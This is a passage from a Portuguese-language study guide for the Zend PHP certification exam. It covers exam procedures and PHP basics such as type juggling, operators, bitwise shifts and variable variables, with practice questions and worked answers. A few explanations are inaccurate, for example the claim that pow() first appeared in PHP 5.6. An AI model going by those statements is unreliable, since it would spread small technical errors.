• PHP Exam (em japonês)²⁹

Término do exame
Obrigatoriamente você precisa concluir o exame antes dos 90 minutos, mesmo que hajam perguntas
pendentes – em branco ou a espera de revisão.
Caso o tempo se esgote e você ainda não tenha respondido o exame na íntegra, independentemente
dos acertos nas demais questões, você será automaticamente reprovado. Portanto o controle do
tempo é FUNDAMENTAL.
Ao confirmar o término do teste, dentro do período limite, o resultado aparece de imediato. Pode
ser um tanto perturbador mas minimiza a angústia da espera.
Aparecerão os dizeres: Congratulations ou Failed.
Em caso de aprovação o score não é informado. Mas se falhar, o sistema oferece um sucinto feedback
de como foi seu desempenho em cada área de conhecimento, com o respectivo percentual de acerto
- mais detalhes no tópico seguinte.

Se falhar
A Zend oferece um desconto caso reprove no exame e pretenda submeter-se novamente. Esse proce-
dimento chama-se Certification Exam Retakes. Para mais informações escreva para: certification@
zend.com.
Geralmente eles solicitam o seu identificador junto a Zend (ID), seu score e data/hora da reprovação.
Em poucos dias você receberá um cupom de desconto para realizar o sua nova tentativa. Obs.: até o
momento o percentual de abatimento está em 20%.
²⁵http://www.ncsacademy.com/certification/php.cfm
²⁶http://www.w3schools.com/cert/cert_php.asp
²⁷http://www.brainbench.com
²⁸http://certificacao.imasters.com.br/prova/php-boas-praticas
²⁹http://www.phpexam.jp/about/english/
Introdução 38

Se falhar, o sistema permite que você refaça o teste somente após 15 dias a partir da data de
reprovação. A cada reprovação, aumenta em quinze dias o período de espera, portanto na primeira
vez serão 15 dias, na segunda serão 30 dias, depois 45 e assim sucessivamente.
O próprio mecanismo da Pearson VUE impede que o usuário faça o agendamento antes desse
período.
Independente do resultado, o centro de certificação autorizado lhe fornece um documento ao final
do exame - que vai nortear seus estudos para a próxima tentativa.
No caso de Fail, o sistema gera um relatório do nível de conhecimento apresentado nas diferentes
áreas de estudo. É um tanto vago, pois mostra apenas o percentual de acertos obtidos e não informa
exatamente erros e acertos.
Introdução 39

Relatório emitido após o resultado frustrado no exame

Lembre-se que mesmo reprovando é possível extrair muita informação do exame e da experiência
de todo o processo de certificação. Com certeza lhe trará algum tipo de benefício, se positivamente
Introdução 40

explorado.
Saiba que essa sensação é amarga, mas efêmera. Então supere e tente outra vez!

Aprovado
Assim que você tiver a felicidade de receber a mensagem de aprovação Congratulations - a sessão
do sistema é encerrada e você será encaminhado para uma estação que controla a realização dos
testes do centro autorizado Pearson VUE.
Imediatamente é emitido um documento atestando a aprovação no exame.
Introdução 41
Introdução 42

A partir desse momento você já começa a desfrutar das vantagens de ser um profissional certificado.
Recomendo atualizar seus dados no site da Zend (principalmente o endereço de correspondência) e
aguardar a chegada do certificado físico, uma carta de boas-vindas com a assinatura em punho do
Training Program Manager da Zend e um adesivo exclusivo.
Verifique atentamente o endereço que consta na sua conta (rua, número, bairro, cidade, código postal,
estado e país), pois o certificado será despachado para essa localidade.
O título de Zend Certified PHP Engineer não expira. Significa que você será um ZCPE vitalício.
Mesmo assim é válido, ao surgimento de certificações PHP sob novas versões, que você se submeta
ao teste novamente em caráter de atualização pessoal – mas não é obrigatório. Até porque você
estará apto a utilizar o logotipo de acordo com a versão do teste na qual se submeteu e atualizar-se
é sempre positivo.
Se já você já é certificado, a Zend oferece um desconto de US$ 70 na atualização. Preço final fica em
US$ 125.

Objetivo
O tão almejado título de Zend Certified PHP Engineer se consolida quando recebemos fisicamente
o certificado, após algumas semanas, enviado diretamente da sede da Zend na Califórnia (EUA).
Introdução 43

E junto com ele você receberá um documento lhe dando o respaldo sobre o título recém conquistado
e também um adesivo exclusivo, apenas para profissionais certificados Zend.
Introdução 44
Introdução 45

Atualizando a certificação
Mesmo sabendo que a certificação ZCE/ZCPE é perpétua, ao lançamento de novas releases do PHP,
é provável que o profissional PHP tenha interesse em submeter-se novamente em uma versão do
exame mais atualizada.
Seja impulsionado pelas oportunidades do mercado ou por desafio pessoal, é sempre válido atestar
seus conhecimentos numa versão recente da linguagem.
Você pode submeter-se novamente e atualizar o seu título, pois o upgrade não é automático.
A versão 7.1 do exame (versão vigente) lhe dará um ganho no currículo, pois o teste aborda, por
exemplo, Orientação a Objetos como jamais se viu anteriormente - principalmente aos que se
certificaram na época do PHP 4.
A Zend oferece desconto de US$ 70 (setenta dólares) para quem deseja obter a nova certificação.
Basta contactar sales@zend.com e solicitar um código promocional exclusivo.

Configurações de ambiente consideradas no exame


Dependendo das diretivas especificadas no arquivo php.ini, a execução dos scripts PHP pode mudar
o comportamento e induzir à dúvidas na interpretação da pergunta.
O php.ini é um arquivo textual (protegido pelo sistema operacional) que pertence a instalação
do servidor web, onde constam as cláusulas de configuração de inicialização da linguagem:
bibliotecas, níveis de erro reportados, filtros, capacidades, recursos disponíveis etc.
É fundamental saber de antemão quais são as definições pré-estabelecidas.
A certificação independe de sistema operacional, entretanto o sistema PHP 7.1 virtual tem suas
próprias características. Dentre elas:

error_reporting = E_ALL
display_errors = On

As diretivas register_globals = Off e magic_quotes_gpc = Off foram removidas na versão 5.4,


portanto atente-se.
Estas são as cláusulas padrão do php.ini que devem ser consideradas na “execução mental” dos
scripts, a menos que a questão indique explicitamente alguma configuração diferente.
Lembrando que as diretivas podem ser indicadas por 1 e 0, respectivamente On e Off. Ex.: asp_tags
= 0 (representa Off, desligado).

Jamais haverão questões abordando nuances do PHP sob Windows ou salientando alguma versão
específica de plataforma Linux. É dito que as perguntas são agnósticas com relação a plataforma.
Introdução 46

Perguntas com enunciados ou alternativas iguais


Uma outra técnica utilizada para atordoar o aspirante à ZCPE são perguntas com o enunciado iguais
(especificando um cenário) ou alternativas iguais (mudando a pergunta). Ex.:

Considere o seguinte código:


<?php
$string = "PHP 7.1";
$regexp = "/??/";
preg_match_all($regexp, $string, $ocorrencias);
print_r($ocorrencias);
?>

Qual dos seguintes meta-caracteres (sinalizados por ??) pode ser usado para pesq\
uisar qualquer caractere que não seja dígito decimal?

A: \s
B: \S
C: \d
D: \D

Agora observe essa outra questão que, num primeiro olhar, parece idêntica a anterior. Mas não são!
Preste atenção na pergunta logo após o código PHP:

Considere o seguinte código:


<?php
$string = "PHP 7.1";
$regexp = "/??/";
preg_match_all($regexp, $string, $ocorrencias);
print_r($ocorrencias);
?>

Qual dos seguintes meta-caracteres (sinalizados por ??) pode ser usado para pe\
squisar qualquer caractere que não seja espaço em branco?

A: \s
B: \S
C: \d
D: \D
Introdução 47

Perceba que as duas questões têm a mesma introdução, alternativas iguais e a perguntas são muito
parecidas – mas evidentemente o detalhe dígito decimal versus espaço em branco faz toda a
diferença.
Nesse caso, trata-se de expressões regulares (que será visto em mais detalhes posteriormente no
capítulo “Strings e Padrões”).
Tabela simplificada de meta-caracteres PCRE (Perl-compatible Regular Expressions), importante na
resolução das questões anteriores:

Meta-caracter Equivalência
\d Número de 0-9
\D Tudo exceto número de 0-9
\s Qualquer espaço, tabulação e nova linha
\S Tudo exceto espaço, tabulação e nova linha
\w Qualquer alfanumérico e _ (underscore)
\W Tudo exceto alfanumérico e _ (underscore)

Uma dica rápida para mentalizar: d significa digit (números, de 0 a 9), w significa word (palavras,
alfanumérico) e s significa space (espaço, tabulações e nova linha).
Sendo que MAIÚSCULO indica negação. Portanto a resposta correta da penúltima questão apre-
sentada é: D: \D (“qualquer caractere que não seja dígito decimal”) e a última questão apresentada
tem como resposta B: \S (“qualquer caractere que não seja espaço em branco”).

Notações utilizadas neste guia


Pela escassez de material sobre o assunto no idioma português, optei por redigir as questões em
nossa língua materna.
Meu propósito é discutir a lógica que permeiam as perguntas. Já o idioma, ao meu ver, não é o
nosso foco principal. O mais importante é desenvolver o raciocínio da questão em sua complexidade
algorítmica e de sintaxe PHP, que transcende ao idioma na qual ela foi escrita.
Mensagens emitidas pelo parser são originalmente em inglês e permanecem intactas.
Com relação aos códigos PHP, nem sempre eles estarão em blocos iniciados por <?php e terminados
em ?>. A menos que haja HTML (ou JavaScript) e, por questões do parser exija a sua delimitação
apropriada.
Portanto não considere como erro de interpretação caso o bloco PHP seja omitido.
Eventualmente a tag de fechamento ?> não estará presente. Lembre-se que alguns padrões de
codificação até recomendam essa prática, como é o caso do padrão de código utilizado pelo time
do Zend Framework³⁰.
³⁰https://github.com/zendframework/zendframework/wiki/Coding-Standards#php-code-demarcation
Introdução 48

Alguns dos snippets de código e de output foram reformatados automaticamente pelo parser do
LeanPub. Nesses casos as linhas foram divididas por uma barra invertida (\) seguida por um caractere
de nova linha. Ao transcrever os exemplos, remova estes dois caracteres e una as linhas novamente,
obtendo os resultados corretos.
A tag de fechamento não é obrigatória – inclusive aconselha-se manter o bloco PHP aberto quando
não há HTML alternado, para evitar erros de cabeçalho.

Quiz
No fim de cada capítulo teremos uma conjunto de 5 perguntas para testar seus conhecimentos. São
simulados que procuram contemplar 100% do conteúdo, no intuito de deixá-lo mais preparado para
o exame.
O enfoque desse guia é na realização de simulados para lhe dar ótimas condições em busca da
aprovação e, consequentemente, uma melhor colocação no mercado de trabalho.

Sugestões, críticas, ideias e erratas


Caso detecte algum erro, por gentileza, nos comunique para que possamos melhorar nas próximas
edições: http://www.certificamp.com/guia_php/erratas/.
Fundamentos do PHP
O óbvio só é óbvio para a mente preparada.
—Autor desconhecido.

A linguagem PHP (acrônimo recursivo de PHP: Hypertext Preprocessor, originalmente abreviatura


de Personal Home Page) é baseada em software livre, feita na linguagem C e sua sintaxe assemelha-se
ao Perl e Java, portanto segue um padrão amplamente difundido.
Mas um simples teste nem sempre reflete a lógica que desejamos imprimir no algoritmo. Ex.:

1 if("um"==0){
2 echo "Verdadeiro";
3 }
4 else {
5 echo "Falso";
6 }

A primeira vista, você deve achar que o resultado da execução deste singelo script será Falso, afinal
a string um é nitidamente diferente de 0 numérico – mas é aí onde ocorrem os equívocos, que podem
comprometer uma questão inteira.
O PHP, por natureza, é uma linguagem fracamente tipada - abstraindo as mudanças trazidas no
PHP 7.0 que discutiremos adiante. Significa que não é exigido a declaração dos tipos de dados que
as variáveis irão receber e retornos de função. Ex.: inteiro, alfanumérico, booleano etc.
Os tipos de dados das variáveis podem sofrer mudanças no decorrer da execução de acordo com o
valor que lhes são atribuídas. Essa característica chama-se tipagem dinâmica e trata-se de uma
característica fundamental da linguagem. Ou seja: uma string converter-se em número que, no
momento seguinte, converte em booleano (true ou false).
Implicitamente o PHP realiza casting automático no intuito de facilitar a vida do programador, mas
também gera problemas e um potencial enorme de questões nessa linha.
O PHP realmente se esforça para que o seu script funcione, mesmo que o código esteja problemático
– a tipagem dinâmica é uma característica da linguagem e não é necessariamente ruim, desde que
utilizada com parcimônia.
Tal comportamento pode ser perigoso e acontece pois o PHP converte a string um em integer,
resultando em inteiro 0. Consequentemente o teste 0 == 0 é verdadeiro.
Experimente:
Fundamentos do PHP 50

1 var_dump(intval("um")); //int(0)
2 var_dump(intval(0)); //int(0)

A propósito: a função intval() converte o conteúdo passado como parâmetro em inteiro. Ex.:

1 echo intval(2.8); //2

Outro fator a ser mencionado é que o == não irá comparar os tipos de dados, diferentemente do ===
(idêntico). Veremos adiante mais detalhes a respeito.

Qual a saída do código a seguir:

<?php
function ExibeFilme($filme = ""){
if(8 == "8 Mile"){
$resultado = "Verdadeiro";
}
else {
$resultado = "Falso";
}
echo $filme;
}

echo ExibeFilme();
?>

A: Verdadeiro
B: Falso
C: Parse error
D: (vazio)
E: 8 Mile

Pelo princípio da conversão automática que vimos anteriormente, o filme 8 Mile é convertido para
8 inteiro, resultando num teste verdadeiro. Porém esse código está encapsulado numa função. Por
sua vez, essa função escreve na tela o conteúdo da variável $filme que é vazia (pois a função foi
invocada sem a passagem de parâmetros).
Por fim de nada adiantou o teste, pois a exibição de $filme foi inicializada como vazia por default,
caso não houvesse argumento. Observe a atribuição feita na definição da função ($filme = "").
Portanto a resposta é D: (vazio). Mais informações em http://php.net/manual/en/language.operators.
comparison.php.
Fundamentos do PHP 51

Esse tipo de situação ocorre com frequência, ofuscando e direcionando a atenção para um ponto
do código irrelevante, que evidentemente altera o resultado. Eles apresentam um código que sequer
realiza tal operação.
A transformação automática de tipos de acordo com o contexto é chamada de Type Juggling³¹:
http://php.net/manual/en/language.types.type-juggling.php, que veremos adiante.

Sintaxe
Após essa introdução, veremos como incorporar código PHP em páginas web:

Blocos Descrição
<?php ... ?> Canônica
<? ... ?> Curta
<?= ... ?> Curta com echo implícito

Na versão 7.0 do PHP foram removidas as tags <% ... %> (formato ASP) e <script
language="php"> ... </script> prevista na especificação do HTML.

Os blocos de código PHP definido pelas tags em formato ASP estão desabilitadas na instalação
padrão da linguagem. Mesmo no php.ini do PHP 7.1 consta a diretiva: asp_tags = Off.
As tags curtas são configuradas através da declaração short_open_tag no php.ini.
Importante lembrar que a tag reduzida juntamente com a construção echo aumenta a velocidade de
codificação do desenvolvedor no momento de exibir dados na página. Ex.: <?="valor do campo"?>
ao invés de <?php echo "valor do campo"; ?>.
Em geral, ao codificar PHP, a tag tradicional <?php é a opção mais utilizada - recomendada pelas
boas práticas.

De acordo com o código abaixo:

<?='ZCPE'?>

Assinale a alternativa correta:

A: Gera um Parse error, pois não há instruções PHP válidas


B: Gera um Fatal error, pois o bloco PHP não está devidamente delimitado com as \
tags padrão <?php ... ?>

³¹Juggling significa malabarismo em inglês e as transformações automáticas representam justamente essa ideia, também conhecido como
“moldagem implícita” (implicit casting).
Fundamentos do PHP 52

C: As "short tags" <? ... ?> devem estar especificadas no php.ini para funcionar
D: Essa construção é particularmente possível e exibe "ZCPE"
E: Gera um mensagem do tipo Notice pois considera "ZCPE" como uma constante

A resposta para essa pergunta é a alternativa D, pois essa construção é possível mesmo que a diretiva
short_open_tag esteja desligada (Off). Lembre-se que <?= é uma short tag com echo implícito e
está SEMPRE habilitada.
Podemos alternar inúmeros blocos PHP dentro de um mesmo documento HTML, inclusive abrindo
chaves num trecho de código PHP (pertencente a um if, declaração de função, classe etc), apresentar
uma porção HTML e fechar chave em outro bloco, na sequência.
Todas as declarações PHP terminam com ponto-e-vírgula (;) desconsiderando espaços e quebras de
linha. Significa que auditoria($data,$acao,$usuario); é o mesmo que:

auditoria(
$data ,
$acao ,
$usuario
);

Essa característica é vantajosa quando formos identar nosso código, de modo que fique mais legível.
As variáveis iniciam por cifrão $ seguido de letras e underscore, assim como os nomes de
funções/métodos. Não é permitido que os nomes de variáveis e funções iniciem por números.

Quais alternativas abaixo são identificadores válidos?


[ escolha 3 ]

A: $1 = "Ari";
B: $_1 = "Ari";
C: function object() {}
D: function 6Pack() {}
E: function _6Pack() {}

A primeira alternativa $1 não é permitida pela variável começar por número, tão pouco a alternativa
D: function 6Pack() {}. Todas as demais são corretas, são elas as alternativas: B, C e E. Importante
lembrar que object não é uma palavra reservada e pode ser utilizado livremente.
Comentários de código são feitos com // para uma única linha e /* e */ para blocos, quando
possuem mais de uma linha.
Fundamentos do PHP 53

Nos comentários do arquivo de configuração php.ini eles são feitos com ponto-e-vírgula ; e desde
a versão 7.0 não se aceita mais sustenido #.
Ao exibir dados, podemos utilizar as construções da linguagem echo ou print. Existem diferenças
sutis entre elas como, por exemplo, echo pode ter mais de um parâmetro (desde que estejam
sem parênteses) enquanto que print aceita somente um argumento. Outro detalhe é que print
assemelha-se a uma função, pois retorna sempre o valor 1. Atenção que esse retorno fixado em 1
geralmente aparece no exame.

1 echo ("Ari", "Junior"); //Parse error: syntax error, unexpected ','


2 echo "Ari", "Junior"; //AriJunior
3 print("Ari", "Junior"); //Parse error: syntax error, unexpected ','
4 print("Ari Junior"); //Ari Junior
5 print "Ari Junior"; //Ari Junior

Qual a saída do código abaixo?

<?php
echo '5'.(print '2')+3;
?>

_____________ (campo aberto)

Essa pergunta é interessante, em vários aspectos. Primeiramente devemos observar a precedência


das operações, que força a execução de (print '2') antes do restante, que exibe 2. Daí ele segue a
execução normal da esquerda para a direita, e mostra o 5.
Daí vem uma situação delicada: toda e qualquer execução de print() retorna 1, sempre. O dígito 1
será somando ao 3 e concatenado com os demais. O resultado é 254.

Operadores
Como qualquer linguagem, vamos rever as operações matemáticas:

Operador Nome Explicação


+ Adição soma dois operandos
- Subtração resulta na diferença entre dois operandos. Subtrai do primeiro operando o
valor do segundo.
* Multiplicação resulta no produto de dois operandos
/ Divisão retorna o quociente de dois operandos
Fundamentos do PHP 54

Operador Nome Explicação


% Módulo converte o operando em inteiro e retorna o resto da divisão do primeiro pelo
segundo. Ex.: $m = 5 % 2; // $m == 1
- Negação retorna o operando multiplicado por -1 que, na prática, altera o sinal
+ Afirmação retorna o operando multiplicado por +1 que, na prática, não altera o sinal

Ao rodar o script a seguir:


<?php
$a=20%-8;
echo $a;
?>
Qual será a saída?

A: Script exibe uma mensagem de erro


B: 4
C: -4
D: -2

Essa questão pode gerar dúvida, já que a divisão é feita por -8 (negativo oito). O módulo considera
o valor absoluto de um número, isso quer dizer que o sinal é simplesmente desconsiderado. Então a
resposta é B: 4.
A atribuição é feita através do sinal de igualdade =, com atenção especial a cópia por referência
utilizando o &:

1 $a = 1;
2 $b = $a;
3 $b = 2;
4 //$a == 1
5
6 $a = 1;
7 $b =& $a;
8 $b = 2;
9 //$a == 2

Os operadores podem ser construídos na forma curta. Ou seja: ao invés de utilizarmos $a = $a +


1; podemos ter apenas $a += 1;. Essa construção está disponível para todos os demais operadores:
- * / & | ^ >> <<.

Dentro da forma curta, temos duas maneiras de incrementar por uma unidade: $a++ e ++$a. Ou
decrementar por uma unidade, através da construção $a-- e --$a.
Fundamentos do PHP 55

A posição do operador decide como o valor será incrementado ou decrementado. Se estiver


a frente da expressão, ele incrementa/decrementa ANTES. Se estiver depois da expressão, ele
incrementa/decrementa DEPOIS.
Na divisão de números inteiros negativos, é fundamental que se conheça o comportamento da
função floor() que arredonda frações para baixo. Considerando a divisão floor(-5/2), gera um
arredondamento de -2.5 que resulta -3. O casting para inteiro da divisão de -5/2 resulta em -2,
então optou-se por implementar uma função nativa para a realização desse cálculo:

1 //Divisão
2 var_dump(6/3); //int(2)
3 var_dump(5/2); //float(2.5)
4
5 //Divisão de inteiros negativos
6 echo floor(-5/2); //floor(-2.5) que resulta -3
7 echo (int)(-5/2); //int(-2.5) que resulta -2
8
9 //Nova função (PHP 7.0)
10 echo intdiv(5,2); //2

A versão 7.0 do PHP implementou a função intdiv() que retorna o quociente inteiro da
divisão do dividendo pelo divisor.

Como operadores de igualdade temos == e diferente determinado por != (também representado por
<>). Válido ressaltar que o PHP assume a conversão para um tipo de dados em comum. Ex.: "123"
== 123.
E o idêntico escrito por === e seu oposto !==, onde o PHP verifica também o tipo de dado. Ex.: "123"
!== 123.

O código a seguir atribui verdadeiro a variável $a?


$a = 123 !== 1230E-1;

A: Sim
B: Não

Nessa questão observe que 1230E-1 é uma notação científica, que representa 123.0. Internamente
um float(123) que é diferente de um integer(123). Como ele compara com !== significa que $a
é true, portanto letra A: é a opção correta.
Aproveitando o contexto de notação científica, podemos nos deparar em algo como echo 1230E+1
que significa 12300.
Fundamentos do PHP 56

Como operadores de comparação temos:

Operador Significado
> Maior que
< Menor que
>= Maior ou igual
<= Menor ou igual
<=> Nave espacial (spaceship)
?? Coalescência nula

O operador spaceship foi incorporado no PHP 7.0. Se o operando da esquerda é menor que o da
direita, o operador <=> devolve -1. Se o operando menor for o da direita, então retorna 1 e se forem
iguais retorna 0:

1 $a = 5;
2 $b = $c = 9;
3
4 echo ($a <=> $b); // -1
5 echo ($b <=> $c); // 0
6 echo ($c <=> $a); // 1

Ao testarmos a entrada de dados via GET, por exemplo, geralmente utilizamos uma expressão
ternária (que veremos adiante):

1 $usuario = isset($_GET['usuario']) ? $_GET['usuario'] : "ninguem";

A função isset() retorna true se a variável passada como parâmetro existir e false caso não exista.
Essa expressão alimenta a variável $usuario com o conteúdo vindo de $_GET['usuario'] caso ele
exista, se não $usuario guarda a string ninguem.
De forma que o código fique mais elegante, sem mensagens de Notice: Undefined index: usuario
in, frequentemente utilizamos esse tipo de expressão para testar os dados vindos de outras fontes.
Então a versão 7.0 trouxe o operador ?? conhecido como coalescência nula que simplifica essa
construção.

1 $usuario = $_GET['usuario'] ?? 'ninguem';

O operador ?? retornará o primeiro operando se este existir (e não for null), se não retornará o
segundo operando.
Este operador permite aninhamento. Significa que se o primeiro não existir, ele passa para a segunda
tentativa e assim sucessivamente:
Outra construção que pode entrar no teste seria:
Fundamentos do PHP 57

1 echo isset($a) ? 'A existe' : ($a = 'a').' agora existe'; //a agora existe

O isset($a) retorna false, pois $a não existe. Então o operador ternário executa o código após os
dois pontos (:), atribuindo um valor para $a, imediatamente exibindo-o em decorrência do echo
inicial.

1 $usuario = $_GET['usuario'] ?? $_GET['convidado'] ?? 'ninguem';

Qual a saída do código abaixo?


<?php
$p = "PHP";
$P = "php";
echo ($p < $P) + 2 * ($p > $P) + 3 * ($p == $P);
?>

A: 0
B: 1
C: 2
D: 3

Essa pergunta é estranha pois realiza várias comparações de strings, o que é aceitável no PHP. Mas a
conversão é realizada considerando o código ASCII dos caracteres, mais especificamente do primeiro
(que é o mais significativo).
Atente-se que a variável minúscula $php é quem recebe o valor em maiúsculo e vice-versa, sendo
que os caracteres maiúsculos vem antes na tabela ASCII e consequentemente tem um número menor
associado, o que também confunde.
Analisando de trás para frente, teremos o teste ($p == $P) que é false e multiplicado por 3 que
resulta em 0. O mesmo acontece com ($p > $P) que também é false e multiplicado por 2 retorna
0, daí sobra ($p < $P) que é true e exibe 1 por interferência do type juggling. Portanto a alternativa
correta é B: 1.
Abaixo explico de forma visual a resolução dessa pergunta:
Fundamentos do PHP 58

Ainda no contexto de operadores de strings, temos a concatenação de conteúdo através do ponto


.. Ex.:

1 echo "Olá" . " " . "mundo"; //exibe "Olá mundo"

Operadores binários (bitwise operators)


Como já dizia aquela antiga piada geek: “Existem 10 tipos de pessoas: a que entendem binário e as
que não entendem”.
Portanto, nesse tópico, iremos concentrar os esforços em duas frentes:

• conversão de números inteiros para o modo binário – que é um sistema numérico composto
por dois dígitos, que compreende 0 e 1;
• operação envolvendo números binários.

A representação binária é fundamental na computação (princípio básico na arquitetura de compu-


tadores) que nos permite realizar cálculos aritméticos otimizados.
São úteis em operações de mais baixo nível como codificadores/decodificadores, criptografia,
manipulação de arquivos binários, protocolos de comunicação, drivers e outros.
Fundamentos do PHP 59

Primeiramente vamos entender como converter um número decimal em binário sem o uso de
calculadora. No momento da prova, esse tipo de questão requer um scratch paper (papel de rascunho)
ou eraseable board (quadro apagável).
Para convertermos um número qualquer (base 10), basta dividi-lo por 2 (base binária) até chegarmos
em 1 (um). Depois coletamos o resto das divisões na ordem contrária.
Veja passo-a-passo o exemplo onde transformamos o número 13 decimal em binário:

Para realizarmos a operação inversa, que seria a transformação de binário para decimal, primeira-
mente multiplique o dígito binário (0 ou 1) por seu valor de posição. Cada coluna aumenta em
múltiplos de 2, começando (da direita para esquerda) em 2⁰, 2¹, 2², 2³, 2⁴, 2⁵ e assim por diante:

Passo Cálculo
binário 1 1 0 1
passo opcional (para efeito didático) 2³ 2² 2¹ 2⁰
multiplica o binário pelo “valor de posição” 8 4 2 1
soma os resultados da multiplicação 8+4+0+1
decimal 13
Fundamentos do PHP 60

O meio mais fácil de converter números binários pequenos (com até dez dígitos) em seus equivalentes
decimais é imaginar que o valor de posição de cada coluna binária esteja escrito nos dedos da mão.
Contanto que o número binário não tenha mais de cinco dígitos, tudo o que você precisa fazer é
erguer o dedo correspondente ao respectivo dígito binário 1 e abaixar o dedo quando for um 0.
Ao erguer os dedos correspondentes para formar 11001 da segunda ilustração, você obterá o 16
(polegar), 8 (indicador) e 1 (dedo mínimo); o resultado de sua soma é o número decimal 25.
Fundamentos do PHP 61

A terceira figura mostra como decodificar o 01110: que gera 8+4+2 = 14.
O método pode ainda ser ampliado usando-se ambas as mãos para ilustrar números binários mais
longos.
Após aprendermos a conversão, faremos então as operações binárias AND, OR e XOR.
Mas antes precisamos resgatar alguns conceitos básicos da ciência da computação, como a “tabela
verdade”³²:
A B AND (&)

0 0 0
0 1 0
1 0 0
1 1 1

A B OR (|)

0 0 0
0 1 1
1 0 1
1 1 1

³²https://pt.wikipedia.org/wiki/Tabela_verdade
Fundamentos do PHP 62

A B XOR (^)

0 0 0
0 1 1
1 0 1
1 1 0

Quando sugir uma questão com os operadores binários & (AND), | (OR) e ^ (XOR) é necessário
primeiramente converter o número em binário, dispôr dos dígitos em sequência (um embaixo do
outro) e comparar cada algarismo:
Fundamentos do PHP 63
Fundamentos do PHP 64

Das alternativas a seguir, qual a forma mais elegante de se elevar o decimal 5 à\


potência 3:

A: 5^3
B: 5 * 5 * 5
C: pow(5,3)
D: pow(3,5)
E: 5 ** 3

A alternativa A pode confundir os usuários de planilhas eletrônicas, tipo Excel, onde o elevado ao
expoente 3 tem exatamente essa sintaxe. Lembre-se que ^ no PHP é o operador bit-a-bit XOR, que
nada tem haver com exponenciação.
A alternativa B funciona, mas não é elegante (como propõe o enunciado) pois não é genérica o
suficiente, caso quiséssemos trocar a base.
A opção D sugere a função pow (específica para esse propósito), mas os argumentos são ($base,
$expoente), enquanto que a alternativa mostra os parâmetros invertidos.

Então temos como alternativas corretas a letra C e E.


Fundamentos do PHP 65

A função pow() é uma novidade incorporada na versão 5.6 do PHP.

Como vimos no exercício anterior, o operador ** eleva a potência da direita o número que está a
sua esquerda. Ele pode ser expressado na sua respectiva forma curta **=. Ex.:

1 $a = 2;
2 $a **= 3;
3 echo $a; //8

Nas operações bit-a-bit (bitwise) temos a possibilidade de deslocamento de bits a esquerda e a direita.
Se deslocarmos a esquerda, conhecida como left shift, utilizamos o operador <<.
No exemplo a seguir iremos realizar um left shift do número 3 em binário deslocando 4 bits à
esquerda. O dígito 3 é representado como 11 em binário, que será incrementado de zeros quantas
vezes for o deslocamento (no caso 4), transformando em 110000 binário que representa 48 decimal.
Você também pode associar o operador << como uma operação de multiplicação, onde o desloca-
mento é o expoente de 2. Ex.: 3 * 2^4^ = 3 * 16 = 48.

No próximo exemplo iremos demonstrar o right shift através do operador >>, ao realizar o cálculo
do número 8 em binário deslocado 2 bits à direita.
Como sabemos, o número 8 decimal é representado pelo binário 1000. Se deslocarmos 2 bits a direita,
ele transforma-se em 10 binário que representa o 2 decimal.
Fundamentos do PHP 66

A operação bit-a-bit de deslocamento a direita é também conhecida como uma operação de divisão.
Ex.: //8 ÷ 2² = 8 ÷ 4 = 2.

Considere o trecho de código a seguir e diga qual será a saída:


$var=10 & 2;
echo $var;

A: 3
B: 0
C: 10
D: 2

Nessa questão temos o & lógico (operação bitwise) entre 10 decimal (1010 binário) e 2 decimal (0010
binário). Ao realizarmos as operações de AND, resultará em 0010 que é o número 2 decimal.
Fundamentos do PHP 67

Outra operação binária interessante é a negação (NOT), representada por ∼, onde os zeros se
transformam em uns e os uns em zeros.

Qual a saída do código a seguir?


<?php
echo 4 >> 3;
?>

A: 32
B: 1
C: 0
D: 0.5

Usando a técnica alternativa para resolução de operação binárias, detectamos uma operação de
deslocamento a direita, portanto uma divisão. Então ficaria 4 ÷ 2³ = 4 ÷ 8 = 0.5. A tendência seria
marcarmos a alternativa D, mas o manual do PHP³³ é bastante claro, informando que o resultado
será convertidos para inteiro, então integer(0.5) resulta em 0. Isso significa que a alternativa
correta é a opção C.

Variáveis e “variáveis variáveis”


São estruturas em memória utilizadas para armazenar dados.
Os nomes de variáveis tem suas regras de construção e seguem uma ordem:
³³http://php.net/manual/pt_BR/language.operators.bitwise.php
Fundamentos do PHP 68

1. sinal de cifrão
2. uma letra ou underscore
3. [ opcional ] letra, dígito ou underscore

Ex.:

1 $n = "ari";
2 $ari = "xyz";
3 echo $$n;

A saída será xyz, pois o parser primeiramente avalia $n (de $$n) que contém ari, formando uma
nova variável ($ari) que, por sua vez, deve ser novamente tratada. Esse modo indireto é chamado
de variável variável.
Veja mais um exemplo:

1 $pais = "Brasil";
2 $$pais = "Portugal"; //seria o mesmo que ${"Brasil"}
3 echo $Brasil; //exibe "Portugal"

Você pode acessar o conteúdo da variável através de uma construção alternativa: ${"ari"}.

Quais das opções a seguir são consideradas variáveis válidas?


(múltipla escolha)

A: $_a1
B: $_1
C: $1
D: $$a

Nesse caso as alternativas corretas são A, B e D. A alternativa C possui cifrão seguido de um número
e essa construção não é permitida.
Obs.: a alternativa D é uma variável variável e perfeitamente aceita.
Lembrando que os nomes devem iniciar com o sinal de dólar $, seguido de letra ou sublinhado
_ (como segundo caractere) e letra/dígito/sublinhado no terceiro caractere em diante.
Variáveis válidas seriam: $titulo, $__profissao, $Cidade e $iDaDe.
Variáveis inválidas seriam: $#lote, $5porcento, $(observacao) e $recur$o.
As variáveis (bem como as constantes, que serão vistas no tópico seguinte) são case sensitive. Ou seja:
diferenciam maiúsculas e minúsculas. Portanto $ari aponta para uma região de memória diferente
de $Ari.
Fundamentos do PHP 69

Constantes
Definidas através da função nativa define(), também são case sensitive e convencionou-se utilizá-
las sempre em maiúsculas. Pelo fato do conteúdo ser fixo, não permitem que se alterem no decorrer
da execução do script.

1 define("HELLO", "Oi");
2 echo HELLO;
3 define("HELLO", "Beleza"); //Mostra um aviso, mas não interrompe a execução do s\
4 cript
5 echo HELLO;

Segue a execução até o fim, porém exibe uma mensagem de alerta:


Oi Notice: Constant HELLO already defined in...
Caso deseje definir a constante como insensitive case (ignora a diferença entre maiúsculas e
minúsculas), basta passar um terceiro parâmetro opcional como true na função define():

1 define("HELLO", "Oi", true);


2 echo Hello; //Oi

Todas as constantes tem o escopo global. Isso significa que elas serão visíveis em toda a parte do
código, inclusive dentro de funções, classes e métodos.

1 define("IDADEMINIMA", 5);
2 function ObtemCortesia(){
3 echo IDADEMINIMA;
4 }
5 ObtemCortesia(); //5

Por natureza as variáveis definidas dentro de funções tem escopo local, a menos que se force a
visibilidade com a palavra reservada global $variavel;
Também posso definir a constante dentro da função/classe/método e recorrer à ela externamente.
Ex.:
